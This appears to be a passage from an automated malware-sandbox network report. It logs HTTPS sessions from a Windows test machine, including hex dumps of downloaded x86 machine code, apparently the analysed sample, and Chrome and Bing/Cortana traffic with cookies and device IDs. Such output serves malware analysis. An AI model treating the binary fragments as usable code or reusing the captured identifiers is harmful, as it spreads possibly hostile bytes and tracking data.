HHAA@A:BuKA:BuCA:Bu;A:Bu3A:Bu+A:Bu#A:BuA:Bu9uB3At1LcABMt(t$LcKDHON1F;LtAVWUSH8LDHLIL;rtHOD$(HD$ A
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: c1 ee 1f 01 c6 d1 fe 48 63 c6 39 2c c2 77 e1 89 f3 72 df 8b 6c c2 04 eb 97 4d 85 c0 0f 84 36 03 00 00 49 8b 4f 18 49 83 f8 08 73 0a 45 31 c9 31 d2 e9 ef 01 00 00 4c 89 c2 48 83 e2 f8 48 8d 42 f8 48 89 c3 48 c1 eb 03 48 83 c3 01 48 85 c0 0f 84 40 03 00 00 48 89 dd 48 83 e5 fe 66 0f ef d2 31 ff 66 0f 6f 1d 86 8a 0c 00 66 0f ef c0 66 0f ef c9 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 66 0f 6e 2c 39 66 0f 6e 74 39 04 66 0f 60 ea 66 0f 61 ea 66 0f 60 f2 66 0f 61 f2 66 0f 6f e0 66 0f ef e3 66 0f 6f fd 66 0f eb fb 66 0f 66 e7 66 0f db c4 66 0f df e5 66 0f eb e0 66 0f 6f e9 66 0f ef eb 66 0f 6f c6 66 0f eb c3 66 0f 66 e8 66 0f db cd 66 0f df ee 66 0f eb e9 66 0f 6e 4c 39 08 66 0f 6e 74 39 0c 66 0f 60 ca 66 0f 61 ca 66 0f 60 f2 66 0f 61 f2 66 0f 6f c4 66 0f ef c3 Data Ascii: Hc9,wrlM6IOIsE11LHHBHHHH@HHf1fofff.@fn,9fnt9f`faf`fafoffofffffffoffofffffffnL9fnt9f`faf`fafof
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: 01 00 00 00 0f 95 c2 48 89 f1 e8 f1 01 03 00 0f b6 fb eb 9e 31 ff 31 c9 ff 15 d2 fb 0f 00 eb 92 31 db 0f b6 fb eb 8b cc cc cc cc cc cc cc cc cc 41 57 41 56 41 55 41 54 56 57 55 53 48 81 ec b8 00 00 00 48 89 4c 24 68 48 8b 05 01 54 10 00 48 31 e0 48 89 84 24 b0 00 00 00 83 fa 10 0f 84 b8 02 00 00 81 fa 11 01 00 00 0f 84 a5 02 00 00 81 fa 10 01 00 00 0f 85 b3 02 00 00 48 8b bc 24 20 01 00 00 48 8b 4c 24 68 ba 31 00 00 00 45 31 c0 45 31 c9 ff 15 ef fb 0f 00 48 89 84 24 88 00 00 00 48 8b 07 48 8b 10 48 85 d2 0f 8e 85 02 00 00 4c 8b 60 10 48 c1 e2 04 4c 01 e2 41 bd 0c 00 00 00 bd 64 00 00 00 31 c0 48 89 44 24 78 48 89 94 24 80 00 00 00 4c 8b 7c 24 68 4c 8b b4 24 88 00 00 00 e9 ac 01 00 00 66 0f 1f 84 00 00 00 00 00 48 b8 50 00 00 00 08 00 00 00 48 89 84 24 a8 Data Ascii: H111AWAVAUATVWUSHHL$hHTH1H$H$ HL$h1E1E1H$HHHL`HLAd1HD$xH$L\|$hL$fHPH$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49736	173.194.219.102	443	6112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:35 UTC	449	OUT	GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=000000000000000000000000000000000000000063A36EF620 HTTP/1.1 Host: clients1.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br
2024-01-26 09:17:35 UTC	817	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-d3HDJrkN7ExpgitSVKLdvw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1 Content-Security-Policy: script-src 'report-sample' 'nonce-TixBKMtQ6PkBj5so5qT0sQ' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1 Content-Type: text/plain; charset=utf-8 Content-Length: 220 Date: Fri, 26 Jan 2024 09:17:35 GMT Expires: Fri, 26 Jan 2024 09:17:35 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-26 09:17:35 UTC	220	IN	Data Raw: 72 6c 7a 43 31 3a 20 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 39 34 0a 72 6c 7a 43 32 3a 20 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 39 34 0a 72 6c 7a 43 37 3a 20 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 39 34 0a 64 63 63 3a 20 0a 73 65 74 5f 64 63 63 3a 20 43 31 3a 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 39 34 2c 43 32 3a 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 39 34 2c 43 37 3a 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 39 34 0a 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 2c 43 31 53 2c 43 37 53 0a 73 74 61 74 65 66 75 6c 2d 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 0a 63 72 63 33 32 3a 20 64 36 39 64 62 32 35 38 0a Data Ascii: rlzC1: 1C1ONGR_enUS1094rlzC2: 1C2ONGR_enUS1094rlzC7: 1C7ONGR_enUS1094dcc: set_dcc: C1:1C1ONGR_enUS1094,C2:1C2ONGR_enUS1094,C7:1C7ONGR_enUS1094events: C1I,C2I,C7I,C1S,C7Sstateful-events: C1I,C2I,C7Icrc32: d69db258

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.16	49738	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:38 UTC	2273	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 907 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=5e4190f4&IPMID=1696585056345&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:38 UTC	907	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 36 34 38 31 41 46 33 32 31 31 46 30 34 33 44 41 39 30 30 39 46 46 31 30 39 32 45 43 36 45 36 46 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 Data Ascii: <ClientInstRequest><CID>5047E5942BB2460EA35B53CCF78DDB3D</CID><Events><E><T>Event.ClientInst</T><IG>6481AF3211F043DA9009FF1092EC6E6F</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"C
2024-01-26 09:17:38 UTC	476	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 289E7AF2244341FBBC7B9D4F26F2F641 Ref B: BY3EDGE0215 Ref C: 2024-01-26T09:17:38Z Date: Fri, 26 Jan 2024 09:17:38 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260658.4830ea9f

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.16	49739	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:38 UTC	881	OUT	GET /manifest/threshold.appcache HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Origin: https://www.bing.com Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=5e4190f4&IPMID=1696585056345&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:38 UTC	875	IN	HTTP/1.1 200 OK Content-Length: 3250 Content-Type: text/cache-manifest; charset=utf-8 Cache-Control: private X-EventID: 65b378b2a2c94a1788e1a955d72270cc UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Jan 2024 09:17:38 GMT Connection: close Set-Cookie: SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Mon, 26-Jan-2026 09:17:38 GMT; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260658.4830eaa7
2024-01-26 09:17:38 UTC	3250	IN	Data Raw: 43 41 43 48 45 20 4d 41 4e 49 46 45 53 54 0d 0a 23 20 56 65 72 73 69 6f 6e 3a 39 61 61 31 30 30 39 65 0d 0a 43 41 43 48 45 3a 0d 0a 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 0d 0a 2f 72 70 2f 68 2d 4f 59 5f 56 6b 36 37 39 6a 65 50 6a 4c 44 70 66 6d 63 56 49 6b 66 44 4f 59 2e 6a 73 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 62 2f 31 39 2f 6a 6e 63 2c 6e 6a 2f 36 68 55 5f 4c 6e 65 61 66 49 5f 4e 46 4c 65 44 76 4d 33 36 37 65 62 46 61 4b 51 2e 6a 73 3f 62 75 3d 44 79 59 76 63 6e 36 42 41 59 51 42 65 33 56 34 74 67 47 35 41 53 2d 70 41 53 2d 38 41 51 26 6f 72 3d 77 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 62 2f 31 63 2f 63 69 72 33 2c 6f 72 74 6c 2c 63 Data Ascii: CACHE MANIFEST# Version:9aa1009eCACHE:/AS/API/WindowsCortanaPane/V2/Init/rp/h-OY_Vk679jePjLDpfmcVIkfDOY.jshttps://r.bing.com/rb/19/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=DyYvcn6BAYQBe3V4tgG5AS-pAS-8AQ&or=whttps://r.bing.com/rb/1c/cir3,ortl,c

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.16	49740	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	864	OUT	GET /rb/19/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=DyYvcn6BAYQBe3V4tgG5AS-pAS-8AQ&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:17:39 UTC	1226	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Wed, 24 Jan 2024 12:41:55 GMT X-EventID: 65b1a716e6ca478ea6f0b8d129a311ac UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: MWHEEEAP002502B X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=312757 Expires: Tue, 30 Jan 2024 00:10:16 GMT Date: Fri, 26 Jan 2024 09:17:39 GMT Content-Length: 21849 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260659.406dcb6d Timing-Allow-Origin: *
2024-01-26 09:17:39 UTC	15158	IN	Data Raw: 2f 2a 21 44 69 73 61 62 6c 65 4a 61 76 61 73 63 72 69 70 74 50 72 6f 66 69 6c 65 72 2a 2f 0a 76 61 72 20 42 4d 3d 42 4d 7c 7c 7b 7d 3b 42 4d 2e 63 6f 6e 66 69 67 3d 7b 42 3a 7b 74 69 6d 65 6f 75 74 3a 31 65 33 2c 64 65 6c 61 79 3a 37 35 30 2c 6d 61 78 55 72 6c 4c 65 6e 67 74 68 3a 33 30 30 2c 73 65 6e 64 6c 69 6d 69 74 3a 32 30 2c 6d 61 78 50 61 79 6c 6f 61 64 53 69 7a 65 3a 37 65 33 7d 2c 56 3a 7b 64 69 73 74 61 6e 63 65 3a 32 30 7d 2c 4e 3a 7b 6d 61 78 55 72 6c 4c 65 6e 67 74 68 3a 33 30 30 7d 2c 45 3a 7b 62 75 66 66 65 72 3a 33 30 2c 74 69 6d 65 6f 75 74 3a 35 65 33 2c 6d 61 78 55 72 6c 4c 65 6e 67 74 68 3a 33 30 30 7d 2c 43 3a 7b 64 69 73 74 61 6e 63 65 3a 35 30 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 76 74 28 29 7b 69 Data Ascii: /!DisableJavascriptProfiler/var BM=BM\|\|{};BM.config={B:{timeout:1e3,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:7e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:50}},function(n){function vt(){i
2024-01-26 09:17:39 UTC	6691	IN	Data Raw: 6e 64 2c 69 29 2c 70 74 3d 74 28 6f 2e 72 65 71 75 65 73 74 53 74 61 72 74 2c 69 29 2c 77 74 3d 74 28 6f 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2c 69 29 2c 62 74 3d 74 28 6f 2e 72 65 73 70 6f 6e 73 65 45 6e 64 2c 69 29 2c 6f 74 3d 6e 75 6c 6c 2c 73 74 3d 6e 2e 6c 61 79 6f 75 74 28 29 3b 66 6f 72 28 74 74 3d 30 3b 74 74 3c 73 74 2e 6c 65 6e 67 74 68 3b 74 74 2b 2b 29 7b 76 61 72 20 62 3d 73 74 5b 74 74 5d 2c 64 74 3d 62 2e 5f 65 2c 68 74 3d 62 2e 5f 73 3b 69 66 28 68 74 26 26 67 3d 3d 3d 68 74 29 7b 6f 74 3d 62 2e 69 3b 62 2e 78 3c 68 2e 77 26 26 62 2e 79 3c 68 2e 68 26 26 28 66 3d 65 74 29 3b 62 72 65 61 6b 7d 7d 72 74 3d 7b 5f 72 3a 6f 2c 74 3a 65 74 2c 69 3a 70 2e 6c 65 6e 67 74 68 2c 6c 3a 6f 74 2c 68 3a 77 5b 31 5d 2c 70 3a 77 5b 32 5d 2e 6c 65 6e Data Ascii: nd,i),pt=t(o.requestStart,i),wt=t(o.responseStart,i),bt=t(o.responseEnd,i),ot=null,st=n.layout();for(tt=0;tt<st.length;tt++){var b=st[tt],dt=b._e,ht=b._s;if(ht&&g===ht){ot=b.i;b.x<h.w&&b.y<h.h&&(f=et);break}}rt={_r:o,t:et,i:p.length,l:ot,h:w[1],p:w[2].len

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.16	49741	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	2385	OUT	GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=n&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=1&cvid=693df9a8be554bffb57e511bdf55aece&ig=31c6acad4a724daf9f3d6fd3c7e8663f HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStore X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:39 UTC	1065	IN	HTTP/1.1 200 OK Content-Length: 5806 Content-Type: application/json; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache X-EventID: 65b378b3bde8488aac6c8e8e0027960c X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Jan 2024 09:17:39 GMT Connection: close Set-Cookie: _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:39 GMT; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260659.4830edb3
2024-01-26 09:17:39 UTC	5806	IN	Data Raw: 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 2c 22 53 75 67 67 65 73 74 69 6f 6e 73 22 3a 5b 7b 22 41 74 74 72 69 62 75 74 65 73 22 3a 7b 22 75 72 6c 22 3a 22 2f 73 65 61 72 63 68 3f 71 3d 6e 65 74 66 6c 69 78 5c 75 30 30 32 36 66 69 Data Ascii: {"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}},"Suggestions":[{"Attributes":{"url":"/search?q=netflix\u0026fi

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.16	49742	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	2386	OUT	GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=no&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=2&cvid=693df9a8be554bffb57e511bdf55aece&ig=29bbb6ccb6ac479f96c95a7308d9ac81 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStore X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: 